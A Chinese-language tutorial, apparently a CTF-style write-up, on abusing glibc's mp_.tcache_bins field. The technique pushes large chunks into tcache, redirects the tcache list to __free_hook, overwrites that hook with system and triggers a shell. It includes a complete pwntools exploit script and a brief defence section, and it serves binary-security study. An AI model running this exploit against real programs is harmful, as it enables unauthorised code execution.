tcache bin中mp_结构体利用
字数 1272 2025-08-22 12:22:48
Tcache Bin中mp_结构体利用技术详解
1. 背景知识
在glibc的堆管理机制中,mp_结构体(malloc_par)是一个重要的全局变量,它包含了malloc子系统使用的各种参数和统计信息。在glibc 2.26及更高版本中,tcache(线程本地缓存)被引入以提高堆分配性能,而mp_结构体中包含了控制tcache行为的参数。
2. mp_结构体详解
mp_结构体在glibc中的定义如下(关键字段):
struct malloc_par {
/* ... 其他字段 ... */
size_t trim_threshold;
size_t top_pad;
size_t mmap_threshold;
int arena_test;
int arena_max;
/* ... 其他字段 ... */
INTERNAL_SIZE_T tcache_bins; // 记录tcache bin的最大索引值
INTERNAL_SIZE_T tcache_max_bytes; // tcache能处理的最大chunk大小
INTERNAL_SIZE_T tcache_count; // 每条单链表上最多7个chunk
INTERNAL_SIZE_T tcache_unsorted_limit;
/* ... 其他字段 ... */
};
关键字段解释:
tcache_bins:默认值为64,表示tcache bin的最大索引值tcache_max_bytes:默认值为1032(0x408),表示tcache能处理的最大chunk大小tcache_count:默认值为7,表示每条tcache单链表上最多存放的chunk数量
3. 利用原理
通过修改mp_结构体中的tcache_bins值,可以扩大tcache能够管理的bin范围。当tcache_bins被设置为一个足够大的值时,我们可以将更大的chunk放入tcache bin中,从而可能实现以下攻击:
- 将特殊地址(如
__free_hook)放入tcache bin - 通过tcache分配机制获取对这些特殊地址的控制权
- 最终实现任意地址写或代码执行
4. 利用步骤详解
4.1 泄露libc基地址
add(0x410, b'a') #1 申请一个大于tcache_max_bytes的chunk
add(0x100, b'a') #2 防止合并
free(1) # 释放到unsorted bin
add(0x100, b'a'*8) #3 重新申请,制造UAF
show(3) # 泄露libc地址
libc_base = u64(io.recvuntil("\x7f")[-6:].ljust(8, b"\x00")) - 0x1ecfd0
4.2 计算mp_结构体地址
在glibc 2.31中:
mp_addr = libc_base + 0x1ec280 + 0x50
其中:
0x1ec280是mp_结构体相对于libc基地址的偏移+0x50是为了定位到tcache_bins字段
4.3 修改tcache_bins
利用程序中存在的任意地址写能力,将tcache_bins修改为一个较大的值(如666666):
edit(mp_addr) # 将666666写入mp_.tcache_bins
4.4 准备tcache bin
- 申请一个大chunk(大于原tcache_max_bytes但小于新设置的tcache_bins范围):
add(0x500, b'a') - 释放这个大chunk:
free(4)
4.5 劫持tcache链表
- 通过堆溢出或其他方式修改tcache链表指针:
payload = cyclic(0x68) + p64(free_hook) free(0) add(0x100, payload) - 现在tcache链表指向了
__free_hook
4.6 获取控制权并执行shell
- 从tcache分配
__free_hook处的内存:add(0x500, p64(sys)) - 准备
/bin/sh字符串:add(0x100, b'/bin/sh\x00') - 触发
free调用system("/bin/sh"):free(7)
5. 防御措施
- 确保没有任意地址写漏洞
- 对mp_结构体等关键全局变量进行保护
- 使用最新版本的glibc,其中可能包含对这类攻击的缓解措施
6. 实际应用中的注意事项
- 不同glibc版本中mp_结构体的偏移可能不同
tcache_bins的修改值需要根据实际情况调整- 需要确保目标地址能够通过tcache的完整性检查
- 在真实环境中可能需要绕过更多保护机制(如指针加密)
7. 完整利用代码示例
from pwn import *
context.log_level = 'debug'
context(os='linux', arch='amd64')
io = process('./pwn')
# io = remote('47.100.137.175',31163)
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')
def add(sz, con):
io.sendlineafter('choice', str(1))
io.sendlineafter(':', str(sz))
io.sendafter(':', con)
def show(idx):
io.sendlineafter('choice\n', str(4))
io.sendlineafter(':', str(idx))
def free(idx):
io.sendlineafter('choice\n', str(2))
io.sendlineafter(':', str(idx))
def edit(addr):
io.sendlineafter('choice\n', str(3))
io.sendlineafter(':', p64(addr))
# Step 1: Leak libc base
add(0x100, b'a') #0
add(0x410, b'a') #1
add(0x100, b'a') #2
free(1)
add(0x100, b'a'*8) #3
show(3)
libc_base = u64(io.recvuntil("\x7f")[-6:].ljust(8, b"\x00")) - 0x1ecfd0
# Step 2: Calculate mp_ address and prepare target
free_hook = libc_base + libc.sym['__free_hook']
sys = libc_base + libc.sym['system']
mp_addr = libc_base + 0x1ec280 + 0x50
# Step 3: Modify tcache_bins
edit(mp_addr)
# Step 4: Prepare large chunk in tcache
add(0x500, b'a') #4
free(4)
# Step 5: Hijack tcache
payload = cyclic(0x68) + p64(free_hook)
free(0)
add(0x100, payload) #5
# Step 6: Get free_hook and write system
add(0x500, p64(sys)) #6
# Step 7: Trigger system("/bin/sh")
add(0x100, b'/bin/sh\x00') #7
free(7)
io.interactive()
通过这种技术,攻击者可以绕过tcache的限制,实现对关键内存地址的控制,最终达到任意代码执行的目的。理解这种技术对于二进制安全研究和漏洞防御具有重要意义。